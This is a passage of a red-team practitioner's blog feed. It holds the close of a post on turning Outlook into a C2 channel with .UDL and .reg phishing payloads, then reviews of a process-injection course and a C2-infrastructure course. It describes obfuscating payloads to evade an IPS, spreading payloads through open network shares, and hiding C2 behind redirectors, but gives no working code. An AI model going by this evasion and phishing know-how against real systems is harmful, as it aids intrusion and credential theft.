never gonna exceed 1.5kb. I won’t go into the weeds of setting up SpeculaC2, you can refer these two materials by Christopher Paschen and Oddvar Moe. TrustedSec Blog: Specula - Turning Outlook into a C2 with one registry change YT Playlist: Specula Tutorials We can do a whole lot of fun with SpeculaC2, for instance, sending emails from the mailbox of the compromised user and deleting the mail automatically after it is sent, also we can give it attachments. Both of the payloads, .UDL and .reg, could be used for Internal phishing campaigns as well, we can spread them in the excessively open network shares, or in case, we can spread .UDL payload over the compromised user’s session from SpeculaC2 itself. Endless possibilities. Red Teaming is golden at this point. We’ve got credentials and a shell. What a blessing. It’s all fun and games until you get your ass handed over to you. Once upon a time, I was utilizing the .reg payload against Zscaler’s Intrusion Prevention System. The default configuration of server was so much fingerprinted, that it got blocked almost instantly. Then I had to edit and obfuscate it for the next couple of hours and test the payload again and again. Known browser exploits?! After so many attempts I was able to gain The Callback, my precious… but as soon as I executed a basic system enumeration command, I got blocked again, this time, in the webview of Outlook itself the message was displayed. So definitely, its fingerprinted heavily. Unfortunately I couldn’t get much time to spend against Zscaler’s IPS. Otherwise evading it is always fun. I am positive about the success rate of .UDL and .reg payload, and both of them combined makes a real difference in a Red Teamer’s life. Do let me know if you’ve tried these goodies in different configurations. I am more than happy to hear your war stories. If you have any questions or need personal guidance then feel free to contact me here Thanks for spending your time and giving it a read.</summary></entry><entry><title type="html">Certified Process Injection Analyst [CPIA] Review</title><link href="http://localhost:8001/certified-process-injection-analyst-review" rel="alternate" type="text/html" title="Certified Process Injection Analyst [CPIA] Review" /><published>2024-12-12T00:00:00+00:00</published><updated>2024-12-12T00:00:00+00:00</updated><id>http://localhost:8001/Certified-Process-Injection-Analyst-Review</id><content type="html" xml:base="http://localhost:8001/certified-process-injection-analyst-review">&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Introduction &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/27e677b0-ccdc-4ae8-a539-1f3a5d299b5a.png&quot; /&gt;&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt;&lt;a href=&quot;https://www.credential.net/f8a4dc2e-6e33-4ae1-bc5f-2486662e26aa#acc.5QwtTjfN&quot;&gt;Credential Link&lt;/a&gt;&lt;/h3&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Process Injection Analyst course &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;The &lt;a href=&quot;https://cyberwarfare.live/product/process-injection-analyst-cpia/&quot;&gt;Process Injection Analyst (CPIA)&lt;/a&gt; course is a really good resource to understand the barebones and Inner workings of the common process Injection techniques out there for the windows environment, couple of techniques discussed in course are: &lt;a href=&quot;https://cyberwarfare.live/wp-content/uploads/2023/05/Process-Injection-Analyst-CPIA.pdf&quot;&gt;Check out the syllabus here&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Classic Process Injection&lt;/li&gt;
  &lt;li&gt;APC Code Injection&lt;/li&gt;
  &lt;li&gt;Section Mapping&lt;/li&gt;
  &lt;li&gt;Module Stomping&lt;/li&gt;
  &lt;li&gt;Process Hollowing&lt;/li&gt;
  &lt;li&gt;Process Doppelganging&lt;/li&gt;
  &lt;li&gt;Transacted Hollowing&lt;/li&gt;
  &lt;li&gt;Process Herpaderping&lt;/li&gt;
  &lt;li&gt;Process Ghosting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The course is taught in a purple team fashion, basically the Instructor walks through the source code - which demonstrates various Process Injection techniques, stepping through each of the functions, oftentimes debugging and showcasing each step of the Process Injection very closely and upfront. And then delving into the Threat Hunting/detection logic on Microsoft ATP - MDE (Microsoft Defender for Endpoint)’s dashboard.&lt;/p&gt;

&lt;p&gt;All of the source code is available for us to download and tweak with. The deliverables also include the PPT slides, which also list the common &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NT APIs&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win32 APIs&lt;/code&gt; used during the said techniques. The Instructor won’t code the loader which does the Process Injection, but rather walk you through it, at the very fundamental levels, it’s the part where I found most of its value. For the most part, you’ll end up popping calc.exe or notepad.exe. There’s no malicious shellcode involved, except for one Instance where the Instructor tries a meterpreter shellcode. There’s also bonus material, an additional 7 hours webinar, which is again, very helpful.&lt;/p&gt;

&lt;p&gt;In theory one can Implement their own shellcode and couple them with any of the Process Injection techniques taught in the course, or even mix them.&lt;/p&gt;

&lt;p&gt;In essence, the course is really good for strengthening the fundamentals of Process Injection techniques, with a little bit of stealth perspective in place. It’s a great resource for any Red Teamer, Threat Hunter, Malware Analyst, Malware Developer and people who engage in Incident Response involving malicious binaries.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Certification Process &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;The CPIA certification process goes roughly like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Enroll in CPIA On-Demand Course&lt;/li&gt;
  &lt;li&gt;Complete the Study Materials [Videos + PDF]&lt;/li&gt;
  &lt;li&gt;Attempt the MCQ Based Exam&lt;/li&gt;
  &lt;li&gt;Get Minimum 80% Passing Criteria&lt;/li&gt;
  &lt;li&gt;Earn the Verified Accredible Badge&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Exam Instructions on reporting:&lt;/strong&gt; NONE, Since it’s a MCQ based exam with mostly theoretical questions (19 In total), with an unlimited attempt.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Certification Exam Review &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;It’s MCQ based, unproctored, with no time limit, theoretical for the most part, however some questions will require a little bit of research, and the questions are easy.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Prerequisites &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;There are some prerequisites for consuming the courseware material in an effective way. Remember, your learning experience will be as good as you know these items mentioned below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Familiarity with programming in C/C++&lt;/li&gt;
  &lt;li&gt;A decent understanding of assembly language will also help.&lt;/li&gt;
  &lt;li&gt;Familiarity with using System Informer, PE-Bear, CFF Explorer, x64dbg and WinDbg.&lt;/li&gt;
  &lt;li&gt;Familiarity with basic Reverse Engineering concepts and usage of IDA.&lt;/li&gt;
  &lt;li&gt;Familiarity with Windows Internals.&lt;/li&gt;
  &lt;li&gt;And some commonly abused Windows APIs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;color:#FF573D;&quot;&gt;Do you have to be a master in these topics to consume the courseware material?&lt;/span&gt;&lt;/strong&gt;
 The simple answer is NO. But, like I just said, the more you know, the better it is. Don’t be a victim of premature optimization.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Exam Preparation &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Preparation for the exam is pretty straightforward, just follow the courseware and make good notes, you’ll be good to go. You can also refer to the &lt;a href=&quot;https://cyberwarfare.live/workshops-webinar/&quot;&gt;workshop-webinar&lt;/a&gt; materials, they have a couple of webinars on Process Injection too.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Additional Resources &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;While the courseware is sufficient, I believe one can aid their learning experience with these helpful resources:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://maldevacademy.com/&quot;&gt;Maldev Academy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malapi.io/&quot;&gt;Malicious APIs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/N3ROApWyGQA?si=ITMlVc8Sqrhfj4A1&quot;&gt;Process Injection Explained: Windows OS Fundamentals for Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stackzero.net/process-injection-by-example/&quot;&gt;Process Injection by example&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/MahmoudZohdy/Process-Injection-Techniques&quot;&gt;Process Injection Techniques&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Nero22k/Process-Injections-Techniques&quot;&gt;Process Injection Techniques in C++&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/RedTeamOperations/Advanced-Process-Injection-Workshop&quot;&gt;Advanced Process Injection Workshop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/F_uq1HfpBIg?si=xkU-yMpkl4Z-d4Rz&quot;&gt;Hunting Process Injection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/EamKvfJk_kc?si=svvoA2FhEgvVY88Y&quot;&gt;Investigating Process Injection Threads&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/pv0NdojM-co?si=6oo8As_hB45ovP11&quot;&gt;Understanding and Recreating Process Injection Techniques through Nimjector by Ariz Soriano&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/zLObT6j52MQ?si=8M32I1WkKxFUgouN&quot;&gt;Malware Development in C - Remote Process Injection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/AvBO4f7blew?si=g8iM1AcXfEdJ70s_&quot;&gt;The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youtu.be/irc8NmSRc6w?si=whXuo86o4YYQiNYM&quot;&gt;QakBot Malware Analysis: Dissecting Process Injection Attack - Part 4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Closing Thoughts &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;An In Depth knowledge of Process Injection is helpful for achieving the goals of any modern Red Team engagement, It enhances the overall Malware Development and Malware Analysis process.&lt;/p&gt;

&lt;p&gt;There are many more Process Injection techniques besides the ones taught in the courseware. &lt;a href=&quot;https://cyberwarfare.live/&quot;&gt;Cyberwarfare.live&lt;/a&gt; has committed themselves in renewing their contents in every 3 years, hopefully they add even more Process Injection techniques for windows environment, they can also cover the *nix based ecosystem.&lt;/p&gt;

&lt;p&gt;Other Important suggestions would include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Usage of malicious shellcode from C2/custom Implant.&lt;/li&gt;
  &lt;li&gt;Coupling the quiz based exam with hands-on activity based exam or even better -  Lab based exam.&lt;/li&gt;
  &lt;li&gt;Apart from detecting the demonstrated techniques in the EDR dashboard, a full fledged Malware Analysis of the binaries will be great.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;If you have any questions or need personal guidance then feel free to &lt;a href=&quot;/contact&quot;&gt;contact me here&lt;/a&gt;&lt;/p&gt;

&lt;font color=&quot;#2ecc71&quot;&gt; Thanks for spending your time and giving it a read. &lt;/font&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="certification" /><category term="CPIA" /><category term="cyberwarfare.live" /><category term="Red Team Certification" /><summary type="html">Introduction Credential Link Process Injection Analyst course The Process Injection Analyst (CPIA) course is a really good resource to understand the barebones and Inner workings of the common process Injection techniques out there for the windows environment, couple of techniques discussed in course are: Check out the syllabus here Classic Process Injection APC Code Injection Section Mapping Module Stomping Process Hollowing Process Doppelganging Transacted Hollowing Process Herpaderping Process Ghosting The course is taught in a purple team fashion, basically the Instructor walks through the source code - which demonstrates various Process Injection techniques, stepping through each of the functions, oftentimes debugging and showcasing each step of the Process Injection very closely and upfront. And then delving into the Threat Hunting/detection logic on Microsoft ATP - MDE (Microsoft Defender for Endpoint)’s dashboard. All of the source code is available for us to download and tweak with. The deliverables also include the PPT slides, which also list the common NT APIs and Win32 APIs used during the said techniques. The Instructor won’t code the loader which does the Process Injection, but rather walk you through it, at the very fundamental levels, it’s the part where I found most of its value. For the most part, you’ll end up popping calc.exe or notepad.exe. There’s no malicious shellcode involved, except for one Instance where the Instructor tries a meterpreter shellcode. There’s also bonus material, an additional 7 hours webinar, which is again, very helpful. In theory one can Implement their own shellcode and couple them with any of the Process Injection techniques taught in the course, or even mix them. In essence, the course is really good for strengthening the fundamentals of Process Injection techniques, with a little bit of stealth perspective in place. It’s a great resource for any Red Teamer, Threat Hunter, Malware Analyst, Malware Developer and people who engage in Incident Response involving malicious binaries. Certification Process The CPIA certification process goes roughly like this: Enroll in CPIA On-Demand Course Complete the Study Materials [Videos + PDF] Attempt the MCQ Based Exam Get Minimum 80% Passing Criteria Earn the Verified Accredible Badge Exam Instructions on reporting: NONE, Since it’s a MCQ based exam with mostly theoretical questions (19 In total), with an unlimited attempt. Certification Exam Review It’s MCQ based, unproctored, with no time limit, theoretical for the most part, however some questions will require a little bit of research, and the questions are easy. Prerequisites There are some prerequisites for consuming the courseware material in an effective way. Remember, your learning experience will be as good as you know these items mentioned below. Familiarity with programming in C/C++ A decent understanding of assembly language will also help. Familiarity with using System Informer, PE-Bear, CFF Explorer, x64dbg and WinDbg. Familiarity with basic Reverse Engineering concepts and usage of IDA. Familiarity with Windows Internals. And some commonly abused Windows APIs. Do you have to be a master in these topics to consume the courseware material? The simple answer is NO. But, like I just said, the more you know, the better it is. Don’t be a victim of premature optimization. Exam Preparation Preparation for the exam is pretty straightforward, just follow the courseware and make good notes, you’ll be good to go. You can also refer to the workshop-webinar materials, they have a couple of webinars on Process Injection too. Additional Resources While the courseware is sufficient, I believe one can aid their learning experience with these helpful resources: Maldev Academy Malicious APIs Process Injection Explained: Windows OS Fundamentals for Cybersecurity Process Injection by example Process Injection Techniques Process Injection Techniques in C++ Advanced Process Injection Workshop Hunting Process Injection Investigating Process Injection Threads Understanding and Recreating Process Injection Techniques through Nimjector by Ariz Soriano Malware Development in C - Remote Process Injection The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools QakBot Malware Analysis: Dissecting Process Injection Attack - Part 4 Closing Thoughts An In Depth knowledge of Process Injection is helpful for achieving the goals of any modern Red Team engagement, It enhances the overall Malware Development and Malware Analysis process. There are many more Process Injection techniques besides the ones taught in the courseware. Cyberwarfare.live has committed themselves in renewing their contents in every 3 years, hopefully they add even more Process Injection techniques for windows environment, they can also cover the *nix based ecosystem. Other Important suggestions would include: Usage of malicious shellcode from C2/custom Implant. Coupling the quiz based exam with hands-on activity based exam or even better - Lab based exam. Apart from detecting the demonstrated techniques in the EDR dashboard, a full fledged Malware Analysis of the binaries will be great. If you have any questions or need personal guidance then feel free to contact me here Thanks for spending your time and giving it a read.</summary></entry><entry><title type="html">Certified Red Team Infra Developer [CRT-ID] Review</title><link href="http://localhost:8001/certified-red-team-infra-developer-review" rel="alternate" type="text/html" title="Certified Red Team Infra Developer [CRT-ID] Review" /><published>2024-02-14T00:00:00+00:00</published><updated>2024-02-14T00:00:00+00:00</updated><id>http://localhost:8001/Certified-Red-Team-Infra-Developer-Review</id><content type="html" xml:base="http://localhost:8001/certified-red-team-infra-developer-review">&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Introduction &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/df07046b-ba0b-4548-ae71-c396dc23e9b9.png&quot; /&gt;&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt;&lt;a href=&quot;https://www.credential.net/a1147aec-69c1-481d-a1e0-3c9217aeb58a#gs.4h5mj5&quot;&gt;Credential Link&lt;/a&gt;&lt;/h3&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Red Team Infra Developer course &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;The &lt;a href=&quot;https://cyberwarfare.live/product/red-team-infra-developer/&quot;&gt;Red Team Infra Dev [CRT-ID]&lt;/a&gt; course is a great primer for anyone who’s interested in setting up their own C2 Infrastructure. The course is divided into several modules which gives us freedom to integrate and customize it as per our requirements. Check out the syllabus &lt;a href=&quot;https://cyberwarfare.live/wp-content/uploads/2023/05/Modern-Red-Team-Infra-Development-CRT-ID.pdf&quot;&gt;here&lt;/a&gt;. Note that they don’t say that this is a full fledged course on C2 Infra and that’s gonna be it. I will like to put it as - &lt;em&gt;“It’s just the beginning”&lt;/em&gt;. One will get value addition out of this course as it would vary for each Individual’s skill level.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Certification Process &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;The CRT-ID certification process goes roughly like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Enroll in CRT-ID On-Demand Course&lt;/li&gt;
  &lt;li&gt;Complete the Study Materials [Videos +PDF] &amp;amp; Practice the Exercises&lt;/li&gt;
  &lt;li&gt;Complete the Task based exam present in the portal&lt;/li&gt;
  &lt;li&gt;Submit the Exam PDF Report to: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;support@cyberwarfare.live&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Instructors will review &amp;amp; within 2 working days provide the results&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Exam Instructions on reporting:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Feel free to follow any report template, as soon as it follows linear approach&lt;/li&gt;
  &lt;li&gt;Users are restricted to not use any automated scripts generator like OpenAI GPT versions etc&lt;/li&gt;
  &lt;li&gt;Timeline is to complete the project &amp;amp; share us the PDF documentation within 3 months&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Certification Exam Review &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;The exam was basically an assessment which I had to do on my end, over the weekend it felt like a fun little activity to do. Since it’s a mini course, I consumed the content at a decent pace. The world is your oyster once you get through the course material and the activity-based exam, at least in terms of C2 Infrastructure development. I have had experience provisioning many C2 Infra setups in the past, and with the knowledge I gained via the exam and the course, it’s all reinforced and helps solidify the concepts.&lt;/p&gt;

&lt;p&gt;You can then use the skills learnt here to build your own custom C2 Infrastructure, Phishing channels, Payload delivery mechanisms, complex chain of redirectors with higher OPSEC, host your malware and phishing kit safely etc…&lt;/p&gt;

&lt;p&gt;I felt that the activity based exam could have asked for more from the trainee’s end. To get the most value out of this course and exam, I would highly recommend anyone taking the courseware to follow up with the architecture. Try, experiment and Innovate.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; How to prepare for the exam? &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Preparation for the exam is pretty straightforward, just follow up with their C2 Infrastructure, first watch the module then replicate it at your end, and check out their free webinar videos at - &lt;a href=&quot;https://cyberwarfare.live/workshops-webinar/&quot;&gt;workshops-webinars&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can follow &lt;a href=&quot;https://nairuzabulhul.medium.com/&quot;&gt;Nairuz Abulhul’s&lt;/a&gt; blog on setting up the Mythic C2 Infra with Azure CDN as redirectors.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/r3d-buck3t/red-teaming-in-the-cloud-deploying-azure-vms-for-c2-infrastructure-c4819d843b72&quot;&gt;Azure VM for C2 Infrastructure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/r3d-buck3t/red-teaming-in-the-cloud-installing-mythic-c2-on-azure-vm-35ef762e61b6&quot;&gt;Installing Mythic C2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/r3d-buck3t/red-teaming-in-cloud-leverage-azure-frontdoor-cdn-for-c2-redirectors-79dd9ca98178&quot;&gt;Leverage Azure FrontDoor CDN for C2 Redirectors&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Way Forward &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;For sure you won’t wanna end up being busted or caught in the act while doing a real world Red Team assessment. Check out this recent blog by &lt;a href=&quot;https://censys.com/a-beginners-guide-to-tracking-malware-infrastructure/&quot;&gt;censys&lt;/a&gt;, on how to track a malware infrastructure, and it’s not uncommon for one to see the adversarial Infrastructure being wide open in the Internet for a while until it’s pointed out by someone on Twitter or likewise. The course doesn’t delve deeper from the lens of the defender watching your DNS and HTTPS traffic spikes, but let’s be real, any network activity will leave network artifacts for the defenders to look after, likewise on host there are several host based artifacts. The OPSEC elements in the course was to blend in to the benign traffic and successfully setup the C2 Infra and perform an Initial access via phishing the target domain, which is just effective. As the techniques evolve, and like a true Red Teamer, we should enhance our skills to incorporate the best out there in our day to day operations.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Closing Thoughts &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;This blog post will mark the beginning of &lt;strong&gt;&lt;span style=&quot;color:#FF573D;&quot;&gt;CWL - Red Team Certification Gallery&lt;/span&gt;&lt;/strong&gt;, i.e., a compilation of various red teaming oriented certifications offered by the Cyberwarfare.live, I found them valuable, it contains wealth of knowledge and most importantly it has the Industry relevant offensive techniques which actually works. The series will roughly look like this (but in no particular order):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/certified-enterprise-lateral-movement-specialist-celms/&quot;&gt;Enterprise Lateral Movement Specialist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/enterprise-security-controls-attack-specialist-cesc-as/&quot;&gt;Enterprise Security Controls Attack Specialist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/red-team-analyst-crta/&quot;&gt;Red Team Analyst&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/red-team-specialist-crts/&quot;&gt;Red Team Specialist v2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/process-injection-analyst-cpia/&quot;&gt;Process Injection Analyst&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/certified-red-team-credops-infiltrator-crt-coi/&quot;&gt;Red Team CredOps Infiltrator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/stealth-cyber-operator-csco/&quot;&gt;Stealth Cyber Operator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberwarfare.live/product/windows-internals-red-team-operator-cwi-rto/&quot;&gt;Windows Internal Red Team Operator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;as one can see they’re mostly geared towards the Red-Teaming, some are byte-sized courses, meanwhile others are full-fledged courseware, some have MCQs as their exam criteria, some have specific activity-oriented exam with reporting, meanwhile others do require one to tackle 24-48 hours long exam in their environment. I have gone through the way they have designed courses over their academy, it briefly covers the major segments of the Enterprise Red-Team engagement or adversary emulation. That leaves me asking for more use cases and updated content over there. As I progress, it might change, but then we can expect Reverse Engineering, Exploit Development and Malware Development courses, who knows it’s in their pipeline already.&lt;/p&gt;

&lt;p&gt;I hope this series and the courses along with their certifications bring value to you.&lt;/p&gt;

&lt;p&gt;On a light note I would like to say that I will push some blogs once in a while, over the past years I have given 3 different blue teaming certifications&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://verified.elearnsecurity.com/certificates/48342cb7-17c8-4fb1-9fed-c8b48e722821&quot;&gt;eLearnSecurity Certified Threat Hunting Professional (eCTHPv2.0)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.credly.com/badges/fb6684c5-f37f-46f1-bf35-88ee429c53c1&quot;&gt;Certified CyberDefender (CCD)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://certs.ine.com/c0ac6d50-d5dd-452f-8792-85cae153404a#gs.4hafgw&quot;&gt;Certified Digital Forensics Professional (eCDFPv2.1)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;the most recent one being eCDFPv2.1, I will review them among others over here. I also plan to ace the &lt;a href=&quot;https://academy.hackthebox.com/preview/certifications/htb-certified-defensive-security-analyst&quot;&gt;Certified Defensive Security Analyst (CDSA)&lt;/a&gt; by HTB Academy.&lt;/p&gt;

&lt;p&gt;If you have any questions or need personal guidance then feel free to &lt;a href=&quot;/contact&quot;&gt;contact me here&lt;/a&gt;&lt;/p&gt;

&lt;font color=&quot;#2ecc71&quot;&gt; Thanks for spending your time and giving it a read. &lt;/font&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="certification" /><category term="CRT-ID" /><category term="cyberwarfare.live" /><category term="Red Team Certification" /><summary type="html">Introduction Credential Link Red Team Infra Developer course The Red Team Infra Dev [CRT-ID] course is a great primer for anyone who’s interested in setting up their own C2 Infrastructure. The course is divided into several modules which gives us freedom to integrate and customize it as per our requirements. Check out the syllabus here. Note that they don’t say that this is a full fledged course on C2 Infra and that’s gonna be it. I will like to put it as - “It’s just the beginning”. One will get value addition out of this course as it would vary for each Individual’s skill level. Certification Process The CRT-ID certification process goes roughly like this: Enroll in CRT-ID On-Demand Course Complete the Study Materials [Videos +PDF] &amp;amp; Practice the Exercises Complete the Task based exam present in the portal Submit the Exam PDF Report to: support@cyberwarfare.live Instructors will review &amp;amp; within 2 working days provide the results Exam Instructions on reporting: Feel free to follow any report template, as soon as it follows linear approach Users are restricted to not use any automated scripts generator like OpenAI GPT versions etc Timeline is to complete the project &amp;amp; share us the PDF documentation within 3 months Certification Exam Review The exam was basically an assessment which I had to do on my end, over the weekend it felt like a fun little activity to do. Since it’s a mini course, I consumed the content at a decent pace. The world is your oyster once you get through the course material and the activity-based exam, at least in terms of C2 Infrastructure development. I have had experience provisioning many C2 Infra setups in the past, and with the knowledge I gained via the exam and the course, it’s all reinforced and helps solidify the concepts. You can then use the skills learnt here to build your own custom C2 Infrastructure, Phishing channels, Payload delivery mechanisms, complex chain of redirectors with higher OPSEC, host your malware and phishing kit safely etc… I felt that the activity based exam could have asked for more from the trainee’s end. To get the most value out of this course and exam, I would highly recommend anyone taking the courseware to follow up with the architecture. Try, experiment and Innovate. How to prepare for the exam? Preparation for the exam is pretty straightforward, just follow up with their C2 Infrastructure, first watch the module then replicate it at your end, and check out their free webinar videos at - workshops-webinars. You can follow Nairuz Abulhul’s blog on setting up the Mythic C2 Infra with Azure CDN as redirectors. Azure VM for C2 Infrastructure Installing Mythic C2 Leverage Azure FrontDoor CDN for C2 Redirectors Way Forward For sure you won’t wanna end up being busted or caught in the act while doing a real world Red Team assessment. Check out this recent blog by censys, on how to track a malware infrastructure, and it’s not uncommon for one to see the adversarial Infrastructure being wide open in the Internet for a while until it’s pointed out by someone on Twitter or likewise. The course doesn’t delve deeper from the lens of the defender watching your DNS and HTTPS traffic spikes, but let’s be real, any network activity will leave network artifacts for the defenders to look after, likewise on host there are several host based artifacts. The OPSEC elements in the course was to blend in to the benign traffic and successfully setup the C2 Infra and perform an Initial access via phishing the target domain, which is just effective. As the techniques evolve, and like a true Red Teamer, we should enhance our skills to incorporate the best out there in our day to day operations. Closing Thoughts This blog post will mark the beginning of CWL - Red Team Certification Gallery, i.e., a compilation of various red teaming oriented certifications offered by the Cyberwarfare.live, I found them valuable, it contains wealth of knowledge and most importantly it has the Industry relevant offensive techniques which actually works. The series will roughly look like this (but in no particular order): Enterprise Lateral Movement Specialist Enterprise Security Controls Attack Specialist Red Team Analyst Red Team Specialist v2 Process Injection Analyst Red Team CredOps Infiltrator Stealth Cyber Operator Windows Internal Red Team Operator as one can see they’re mostly geared towards the Red-Teaming, some are byte-sized courses, meanwhile others are full-fledged courseware, some have MCQs as their exam criteria, some have specific activity-oriented exam with reporting, meanwhile others do require one to tackle 24-48 hours long exam in their environment. I have gone through the way they have designed courses over their academy, it briefly covers the major segments of the Enterprise Red-Team engagement or adversary emulation. That leaves me asking for more use cases and updated content over there. As I progress, it might change, but then we can expect Reverse Engineering, Exploit Development and Malware Development courses, who knows it’s in their pipeline already. I hope this series and the courses along with their certifications bring value to you. On a light note I would like to say that I will push some blogs once in a while, over the past years I have given 3 different blue teaming certifications eLearnSecurity Certified Threat Hunting Professional (eCTHPv2.0) Certified CyberDefender (CCD) Certified Digital Forensics Professional (eCDFPv2.1) the most recent one being eCDFPv2.1, I will review them among others over here. I also plan to ace the Certified Defensive Security Analyst (CDSA) by HTB Academy. If you have any questions or need personal guidance then feel free to contact me here Thanks for spending your time and giving it a read.</summary></entry><entry><title type="html">A Little Smishing Tale</title><link href="http://localhost:8001/a-little-smishing-tale" rel="alternate" type="text/html" title="A Little Smishing Tale" /><published>2024-01-01T00:00:00+00:00</published><updated>2024-01-01T00:00:00+00:00</updated><id>http://localhost:8001/A-Little-Smishing-Tale</id><content type="html" xml:base="http://localhost:8001/a-little-smishing-tale">&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Introduction &lt;/h1&gt;
&lt;hr /&gt;

